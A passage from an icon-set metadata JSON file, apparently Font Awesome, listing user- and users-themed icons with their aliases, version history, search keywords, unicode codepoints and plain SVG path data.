      "unicodes": {
        "secondary": ["10f234"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["add", "avatar", "positive", "sign up", "signup", "team"]
    },
    "styles": ["solid"],
    "unicode": "f234",
    "label": "User Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM504 312V248H440c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V136c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H552v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM504 312V248H440c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V136c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H552v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z"
      }
    },
    "free": ["solid"]
  },
  "user-secret": {
    "aliases": {
      "unicodes": {
        "composite": ["1f575"],
        "secondary": ["10f21b"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["detective", "sleuth", "spy", "users-people"]
    },
    "styles": ["solid"],
    "unicode": "f21b",
    "label": "User Secret",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 16c-6.7 0-10.8-2.8-15.5-6.1C201.9 5.4 194 0 176 0c-30.5 0-52 43.7-66 89.4C62.7 98.1 32 112.2 32 128c0 14.3 25 27.1 64.6 35.9c-.4 4-.6 8-.6 12.1c0 17 3.3 33.2 9.3 48H45.4C38 224 32 230 32 237.4c0 1.7 .3 3.4 1 5l38.8 96.9C28.2 371.8 0 423.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7c0-58.5-28.2-110.4-71.7-143L415 242.4c.6-1.6 1-3.3 1-5c0-7.4-6-13.4-13.4-13.4H342.7c6-14.8 9.3-31 9.3-48c0-4.1-.2-8.1-.6-12.1C391 155.1 416 142.3 416 128c0-15.8-30.7-29.9-78-38.6C324 43.7 302.5 0 272 0c-18 0-25.9 5.4-32.5 9.9c-4.8 3.3-8.8 6.1-15.5 6.1zm56 208H267.6c-16.5 0-31.1-10.6-36.3-26.2c-2.3-7-12.2-7-14.5 0c-5.2 15.6-19.9 26.2-36.3 26.2H168c-22.1 0-40-17.9-40-40V169.6c28.2 4.1 61 6.4 96 6.4s67.8-2.3 96-6.4V184c0 22.1-17.9 40-40 40zm-88 96l16 32L176 480 128 288l64 32zm128-32L272 480 240 352l16-32 64-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 16c-6.7 0-10.8-2.8-15.5-6.1C201.9 5.4 194 0 176 0c-30.5 0-52 43.7-66 89.4C62.7 98.1 32 112.2 32 128c0 14.3 25 27.1 64.6 35.9c-.4 4-.6 8-.6 12.1c0 17 3.3 33.2 9.3 48H45.4C38 224 32 230 32 237.4c0 1.7 .3 3.4 1 5l38.8 96.9C28.2 371.8 0 423.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7c0-58.5-28.2-110.4-71.7-143L415 242.4c.6-1.6 1-3.3 1-5c0-7.4-6-13.4-13.4-13.4H342.7c6-14.8 9.3-31 9.3-48c0-4.1-.2-8.1-.6-12.1C391 155.1 416 142.3 416 128c0-15.8-30.7-29.9-78-38.6C324 43.7 302.5 0 272 0c-18 0-25.9 5.4-32.5 9.9c-4.8 3.3-8.8 6.1-15.5 6.1zm56 208H267.6c-16.5 0-31.1-10.6-36.3-26.2c-2.3-7-12.2-7-14.5 0c-5.2 15.6-19.9 26.2-36.3 26.2H168c-22.1 0-40-17.9-40-40V169.6c28.2 4.1 61 6.4 96 6.4s67.8-2.3 96-6.4V184c0 22.1-17.9 40-40 40zm-88 96l16 32L176 480 128 288l64 32zm128-32L272 480 240 352l16-32 64-32z"
      }
    },
    "free": ["solid"]
  },
  "user-shield": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f505"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["protect", "safety"]
    },
    "styles": ["solid"],
    "unicode": "f505",
    "label": "User Shield",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c1.8 0 3.5-.2 5.3-.5c-76.3-55.1-99.8-141-103.1-200.2c-16.1-4.8-33.1-7.3-50.7-7.3H178.3zm308.8-78.3l-120 48C358 277.4 352 286.2 352 296c0 63.3 25.9 168.8 134.8 214.2c5.9 2.5 12.6 2.5 18.5 0C614.1 464.8 640 359.3 640 296c0-9.8-6-18.6-15.1-22.3l-120-48c-5.7-2.3-12.1-2.3-17.8 0zM591.4 312c-3.9 50.7-27.2 116.7-95.4 149.7V273.8L591.4 312z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c1.8 0 3.5-.2 5.3-.5c-76.3-55.1-99.8-141-103.1-200.2c-16.1-4.8-33.1-7.3-50.7-7.3H178.3zm308.8-78.3l-120 48C358 277.4 352 286.2 352 296c0 63.3 25.9 168.8 134.8 214.2c5.9 2.5 12.6 2.5 18.5 0C614.1 464.8 640 359.3 640 296c0-9.8-6-18.6-15.1-22.3l-120-48c-5.7-2.3-12.1-2.3-17.8 0zM591.4 312c-3.9 50.7-27.2 116.7-95.4 149.7V273.8L591.4 312z"
      }
    },
    "free": ["solid"]
  },
  "user-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f506"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ban", "delete", "remove"]
    },
    "styles": ["solid"],
    "unicode": "f506",
    "label": "User Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L353.3 251.6C407.9 237 448 187.2 448 128C448 57.3 390.7 0 320 0C250.2 0 193.5 55.8 192 125.2L38.8 5.1zM264.3 304.3C170.5 309.4 96 387.2 96 482.3c0 16.4 13.3 29.7 29.7 29.7H514.3c3.9 0 7.6-.7 11-2.1l-261-205.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L353.3 251.6C407.9 237 448 187.2 448 128C448 57.3 390.7 0 320 0C250.2 0 193.5 55.8 192 125.2L38.8 5.1zM264.3 304.3C170.5 309.4 96 387.2 96 482.3c0 16.4 13.3 29.7 29.7 29.7H514.3c3.9 0 7.6-.7 11-2.1l-261-205.6z"
      }
    },
    "free": ["solid"]
  },
  "user-tag": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f507"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f507",
    "label": "User Tag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c10 0 18.8-4.9 24.2-12.5l-99.2-99.2c-14.9-14.9-23.3-35.1-23.3-56.1v-33c-15.9-4.7-32.8-7.2-50.3-7.2H178.3zM384 224c-17.7 0-32 14.3-32 32v82.7c0 17 6.7 33.3 18.7 45.3L478.1 491.3c18.7 18.7 49.1 18.7 67.9 0l73.4-73.4c18.7-18.7 18.7-49.1 0-67.9L512 242.7c-12-12-28.3-18.7-45.3-18.7H384zm24 80a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c10 0 18.8-4.9 24.2-12.5l-99.2-99.2c-14.9-14.9-23.3-35.1-23.3-56.1v-33c-15.9-4.7-32.8-7.2-50.3-7.2H178.3zM384 224c-17.7 0-32 14.3-32 32v82.7c0 17 6.7 33.3 18.7 45.3L478.1 491.3c18.7 18.7 49.1 18.7 67.9 0l73.4-73.4c18.7-18.7 18.7-49.1 0-67.9L512 242.7c-12-12-28.3-18.7-45.3-18.7H384zm24 80a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "user-tie": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f508"]
      }
    },
    "changes": [
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "avatar",
        "business",
        "clothing",
        "formal",
        "professional",
        "suit"
      ]
    },
    "styles": ["solid"],
    "unicode": "f508",
    "label": "User Tie",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256A128 128 0 1 1 224 0a128 128 0 1 1 0 256zM209.1 359.2l-18.6-31c-6.4-10.7 1.3-24.2 13.7-24.2H224h19.7c12.4 0 20.1 13.6 13.7 24.2l-18.6 31 33.4 123.9 36-146.9c2-8.1 9.8-13.4 17.9-11.3c70.1 17.6 121.9 81 121.9 156.4c0 17-13.8 30.7-30.7 30.7H285.5c-2.1 0-4-.4-5.8-1.1l.3 1.1H168l.3-1.1c-1.8 .7-3.8 1.1-5.8 1.1H30.7C13.8 512 0 498.2 0 481.3c0-75.5 51.9-138.9 121.9-156.4c8.1-2 15.9 3.3 17.9 11.3l36 146.9 33.4-123.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 256A128 128 0 1 1 224 0a128 128 0 1 1 0 256zM209.1 359.2l-18.6-31c-6.4-10.7 1.3-24.2 13.7-24.2H224h19.7c12.4 0 20.1 13.6 13.7 24.2l-18.6 31 33.4 123.9 36-146.9c2-8.1 9.8-13.4 17.9-11.3c70.1 17.6 121.9 81 121.9 156.4c0 17-13.8 30.7-30.7 30.7H285.5c-2.1 0-4-.4-5.8-1.1l.3 1.1H168l.3-1.1c-1.8 .7-3.8 1.1-5.8 1.1H30.7C13.8 512 0 498.2 0 481.3c0-75.5 51.9-138.9 121.9-156.4c8.1-2 15.9 3.3 17.9 11.3l36 146.9 33.4-123.9z"
      }
    },
    "free": ["solid"]
  },
  "user-xmark": {
    "aliases": {
      "names": ["user-times"],
      "unicodes": {
        "secondary": ["10f235"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archive", "delete", "remove", "x"]
    },
    "styles": ["solid"],
    "unicode": "f235",
    "label": "User Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM471 143c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM471 143c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["solid"]
  },
  "users": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0c0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f0c0",
    "label": "Users",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 0a80 80 0 1 1 0 160A80 80 0 1 1 144 0zM512 0a80 80 0 1 1 0 160A80 80 0 1 1 512 0zM0 298.7C0 239.8 47.8 192 106.7 192h42.7c15.9 0 31 3.5 44.6 9.7c-1.3 7.2-1.9 14.7-1.9 22.3c0 38.2 16.8 72.5 43.3 96c-.2 0-.4 0-.7 0H21.3C9.6 320 0 310.4 0 298.7zM405.3 320c-.2 0-.4 0-.7 0c26.6-23.5 43.3-57.8 43.3-96c0-7.6-.7-15-1.9-22.3c13.6-6.3 28.7-9.7 44.6-9.7h42.7C592.2 192 640 239.8 640 298.7c0 11.8-9.6 21.3-21.3 21.3H405.3zM224 224a96 96 0 1 1 192 0 96 96 0 1 1 -192 0zM128 485.3C128 411.7 187.7 352 261.3 352H378.7C452.3 352 512 411.7 512 485.3c0 14.7-11.9 26.7-26.7 26.7H154.7c-14.7 0-26.7-11.9-26.7-26.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 0a80 80 0 1 1 0 160A80 80 0 1 1 144 0zM512 0a80 80 0 1 1 0 160A80 80 0 1 1 512 0zM0 298.7C0 239.8 47.8 192 106.7 192h42.7c15.9 0 31 3.5 44.6 9.7c-1.3 7.2-1.9 14.7-1.9 22.3c0 38.2 16.8 72.5 43.3 96c-.2 0-.4 0-.7 0H21.3C9.6 320 0 310.4 0 298.7zM405.3 320c-.2 0-.4 0-.7 0c26.6-23.5 43.3-57.8 43.3-96c0-7.6-.7-15-1.9-22.3c13.6-6.3 28.7-9.7 44.6-9.7h42.7C592.2 192 640 239.8 640 298.7c0 11.8-9.6 21.3-21.3 21.3H405.3zM224 224a96 96 0 1 1 192 0 96 96 0 1 1 -192 0zM128 485.3C128 411.7 187.7 352 261.3 352H378.7C452.3 352 512 411.7 512 485.3c0 14.7-11.9 26.7-26.7 26.7H154.7c-14.7 0-26.7-11.9-26.7-26.7z"
      }
    },
    "free": ["solid"]
  },
  "users-between-lines": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["covered", "group", "people"]
    },
    "styles": ["solid"],
    "unicode": "e591",
    "label": "Users Between Lines",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 24C0 10.7 10.7 0 24 0H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H24C10.7 48 0 37.3 0 24zM0 488c0-13.3 10.7-24 24-24H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24zM83.2 160a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM32 320c0-35.3 28.7-64 64-64h96c12.2 0 23.7 3.4 33.4 9.4c-37.2 15.1-65.6 47.2-75.8 86.6H64c-17.7 0-32-14.3-32-32zm461.6 32c-10.3-40.1-39.6-72.6-77.7-87.4c9.4-5.5 20.4-8.6 32.1-8.6h96c35.3 0 64 28.7 64 64c0 17.7-14.3 32-32 32H493.6zM391.2 290.4c32.1 7.4 58.1 30.9 68.9 61.6c3.5 10 5.5 20.8 5.5 32c0 17.7-14.3 32-32 32h-224c-17.7 0-32-14.3-32-32c0-11.2 1.9-22 5.5-32c10.5-29.7 35.3-52.8 66.1-60.9c7.8-2.1 16-3.1 24.5-3.1h96c7.4 0 14.7 .8 21.6 2.4zm44-130.4a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM321.6 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 24C0 10.7 10.7 0 24 0H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H24C10.7 48 0 37.3 0 24zM0 488c0-13.3 10.7-24 24-24H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24zM83.2 160a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM32 320c0-35.3 28.7-64 64-64h96c12.2 0 23.7 3.4 33.4 9.4c-37.2 15.1-65.6 47.2-75.8 86.6H64c-17.7 0-32-14.3-32-32zm461.6 32c-10.3-40.1-39.6-72.6-77.7-87.4c9.4-5.5 20.4-8.6 32.1-8.6h96c35.3 0 64 28.7 64 64c0 17.7-14.3 32-32 32H493.6zM391.2 290.4c32.1 7.4 58.1 30.9 68.9 61.6c3.5 10 5.5 20.8 5.5 32c0 17.7-14.3 32-32 32h-224c-17.7 0-32-14.3-32-32c0-11.2 1.9-22 5.5-32c10.5-29.7 35.3-52.8 66.1-60.9c7.8-2.1 16-3.1 24.5-3.1h96c7.4 0 14.7 .8 21.6 2.4zm44-130.4a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM321.6 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "users-gear": {
    "aliases": {
      "names": ["users-cog"],
      "unicodes": {
        "secondary": ["10f509"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f509",
    "label": "Users Gear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 160A80 80 0 1 0 144 0a80 80 0 1 0 0 160zm368 0A80 80 0 1 0 512 0a80 80 0 1 0 0 160zM0 298.7C0 310.4 9.6 320 21.3 320H234.7c.2 0 .4 0 .7 0c-26.6-23.5-43.3-57.8-43.3-96c0-7.6 .7-15 1.9-22.3c-13.6-6.3-28.7-9.7-44.6-9.7H106.7C47.8 192 0 239.8 0 298.7zM320 320c24 0 45.9-8.8 62.7-23.3c2.5-3.7 5.2-7.3 8-10.7c2.7-3.3 5.7-6.1 9-8.3C410 262.3 416 243.9 416 224c0-53-43-96-96-96s-96 43-96 96s43 96 96 96zm65.4 60.2c-10.3-5.9-18.1-16.2-20.8-28.2H261.3C187.7 352 128 411.7 128 485.3c0 14.7 11.9 26.7 26.7 26.7H455.2c-2.1-5.2-3.2-10.9-3.2-16.4v-3c-1.3-.7-2.7-1.5-4-2.3l-2.6 1.5c-16.8 9.7-40.5 8-54.7-9.7c-4.5-5.6-8.6-11.5-12.4-17.6l-.1-.2-.1-.2-2.4-4.1-.1-.2-.1-.2c-3.4-6.2-6.4-12.6-9-19.3c-8.2-21.2 2.2-42.6 19-52.3l2.7-1.5c0-.8 0-1.5 0-2.3s0-1.5 0-2.3l-2.7-1.5zM533.3 192H490.7c-15.9 0-31 3.5-44.6 9.7c1.3 7.2 1.9 14.7 1.9 22.3c0 17.4-3.5 33.9-9.7 49c2.5 .9 4.9 2 7.1 3.3l2.6 1.5c1.3-.8 2.6-1.6 4-2.3v-3c0-19.4 13.3-39.1 35.8-42.6c7.9-1.2 16-1.9 24.2-1.9s16.3 .6 24.2 1.9c22.5 3.5 35.8 23.2 35.8 42.6v3c1.3 .7 2.7 1.5 4 2.3l2.6-1.5c16.8-9.7 40.5-8 54.7 9.7c2.3 2.8 4.5 5.8 6.6 8.7c-2.1-57.1-49-102.7-106.6-102.7zm91.3 163.9c6.3-3.6 9.5-11.1 6.8-18c-2.1-5.5-4.6-10.8-7.4-15.9l-2.3-4c-3.1-5.1-6.5-9.9-10.2-14.5c-4.6-5.7-12.7-6.7-19-3L574.4 311c-8.9-7.6-19.1-13.6-30.4-17.6v-21c0-7.3-4.9-13.8-12.1-14.9c-6.5-1-13.1-1.5-19.9-1.5s-13.4 .5-19.9 1.5c-7.2 1.1-12.1 7.6-12.1 14.9v21c-11.2 4-21.5 10-30.4 17.6l-18.2-10.5c-6.3-3.6-14.4-2.6-19 3c-3.7 4.6-7.1 9.5-10.2 14.6l-2.3 3.9c-2.8 5.1-5.3 10.4-7.4 15.9c-2.6 6.8 .5 14.3 6.8 17.9l18.2 10.5c-1 5.7-1.6 11.6-1.6 17.6s.6 11.9 1.6 17.5l-18.2 10.5c-6.3 3.6-9.5 11.1-6.8 17.9c2.1 5.5 4.6 10.7 7.4 15.8l2.4 4.1c3 5.1 6.4 9.9 10.1 14.5c4.6 5.7 12.7 6.7 19 3L449.6 457c8.9 7.6 19.2 13.6 30.4 17.6v21c0 7.3 4.9 13.8 12.1 14.9c6.5 1 13.1 1.5 19.9 1.5s13.4-.5 19.9-1.5c7.2-1.1 12.1-7.6 12.1-14.9v-21c11.2-4 21.5-10 30.4-17.6l18.2 10.5c6.3 3.6 14.4 2.6 19-3c3.7-4.6 7.1-9.4 10.1-14.5l2.4-4.2c2.8-5.1 5.3-10.3 7.4-15.8c2.6-6.8-.5-14.3-6.8-17.9l-18.2-10.5c1-5.7 1.6-11.6 1.6-17.5s-.6-11.9-1.6-17.6l18.2-10.5zM472 384a40 40 0 1 1 80 0 40 40 0 1 1 -80 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 160A80 80 0 1 0 144 0a80 80 0 1 0 0 160zm368 0A80 80 0 1 0 512 0a80 80 0 1 0 0 160zM0 298.7C0 310.4 9.6 320 21.3 320H234.7c.2 0 .4 0 .7 0c-26.6-23.5-43.3-57.8-43.3-96c0-7.6 .7-15 1.9-22.3c-13.6-6.3-28.7-9.7-44.6-9.7H106.7C47.8 192 0 239.8 0 298.7zM320 320c24 0 45.9-8.8 62.7-23.3c2.5-3.7 5.2-7.3 8-10.7c2.7-3.3 5.7-6.1 9-8.3C410 262.3 416 243.9 416 224c0-53-43-96-96-96s-96 43-96 96s43 96 96 96zm65.4 60.2c-10.3-5.9-18.1-16.2-20.8-28.2H261.3C187.7 352 128 411.7 128 485.3c0 14.7 11.9 26.7 26.7 26.7H455.2c-2.1-5.2-3.2-10.9-3.2-16.4v-3c-1.3-.7-2.7-1.5-4-2.3l-2.6 1.5c-16.8 9.7-40.5 8-54.7-9.7c-4.5-5.6-8.6-11.5-12.4-17.6l-.1-.2-.1-.2-2.4-4.1-.1-.2-.1-.2c-3.4-6.2-6.4-12.6-9-19.3c-8.2-21.2 2.2-42.6 19-52.3l2.7-1.5c0-.8 0-1.5 0-2.3s0-1.5 0-2.3l-2.7-1.5zM533.3 192H490.7c-15.9 0-31 3.5-44.6 9.7c1.3 7.2 1.9 14.7 1.9 22.3c0 17.4-3.5 33.9-9.7 49c2.5 .9 4.9 2 7.1 3.3l2.6 1.5c1.3-.8 2.6-1.6 4-2.3v-3c0-19.4 13.3-39.1 35.8-42.6c7.9-1.2 16-1.9 24.2-1.9s16.3 .6 24.2 1.9c22.5 3.5 35.8 23.2 35.8 42.6v3c1.3 .7 2.7 1.5 4 2.3l2.6-1.5c16.8-9.7 40.5-8 54.7 9.7c2.3 2.8 4.5 5.8 6.6 8.7c-2.1-57.1-49-102.7-106.6-102.7zm91.3 163.9c6.3-3.6 9.5-11.1 6.8-18c-2.1-5.5-4.6-10.8-7.4-15.9l-2.3-4c-3.1-5.1-6.5-9.9-10.2-14.5c-4.6-5.7-12.7-6.7-19-3L574.4 311c-8.9-7.6-19.1-13.6-30.4-17.6v-21c0-7.3-4.9-13.8-12.1-14.9c-6.5-1-13.1-1.5-19.9-1.5s-13.4 .5-19.9 1.5c-7.2 1.1-12.1 7.6-12.1 14.9v21c-11.2 4-21.5 10-30.4 17.6l-18.2-10.5c-6.3-3.6-14.4-2.6-19 3c-3.7 4.6-7.1 9.5-10.2 14.6l-2.3 3.9c-2.8 5.1-5.3 10.4-7.4 15.9c-2.6 6.8 .5 14.3 6.8 17.9l18.2 10.5c-1 5.7-1.6 11.6-1.6 17.6s.6 11.9 1.6 17.5l-18.2 10.5c-6.3 3.6-9.5 11.1-6.8 17.9c2.1 5.5 4.6 10.7 7.4 15.8l2.4 4.1c3 5.1 6.4 9.9 10.1 14.5c4.6 5.7 12.7 6.7 19 3L449.6 457c8.9 7.6 19.2 13.6 30.4 17.6v21c0 7.3 4.9 13.8 12.1 14.9c6.5 1 13.1 1.5 19.9 1.5s13.4-.5 19.9-1.5c7.2-1.1 12.1-7.6 12.1-14.9v-21c11.2-4 21.5-10 30.4-17.6l18.2 10.5c6.3 3.6 14.4 2.6 19-3c3.7-4.6 7.1-9.4 10.1-14.5l2.4-4.2c2.8-5.1 5.3-10.3 7.4-15.8c2.6-6.8-.5-14.3-6.8-17.9l-18.2-10.5c1-5.7 1.6-11.6 1.6-17.5s-.6-11.9-1.6-17.6l18.2-10.5zM472 384a40 40 0 1 1 80 0 40 40 0 1 1 -80 0z"
      }
    },
    "free": ["solid"]
  },
  "users-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["group", "need", "people"]
    },
    "styles": ["solid"],
    "unicode": "e592",
    "label": "Users Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M211.2 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM32 256c0 17.7 14.3 32 32 32h85.6c10.1-39.4 38.6-71.5 75.8-86.6c-9.7-6-21.2-9.4-33.4-9.4H96c-35.3 0-64 28.7-64 64zm461.6 32H576c17.7 0 32-14.3 32-32c0-35.3-28.7-64-64-64H448c-11.7 0-22.7 3.1-32.1 8.6c38.1 14.8 67.4 47.3 77.7 87.4zM391.2 226.4c-6.9-1.6-14.2-2.4-21.6-2.4h-96c-8.5 0-16.7 1.1-24.5 3.1c-30.8 8.1-55.6 31.1-66.1 60.9c-3.5 10-5.5 20.8-5.5 32c0 17.7 14.3 32 32 32h224c17.7 0 32-14.3 32-32c0-11.2-1.9-22-5.5-32c-10.8-30.7-36.8-54.2-68.9-61.6zM563.2 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM321.6 192a80 80 0 1 0 0-160 80 80 0 1 0 0 160zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
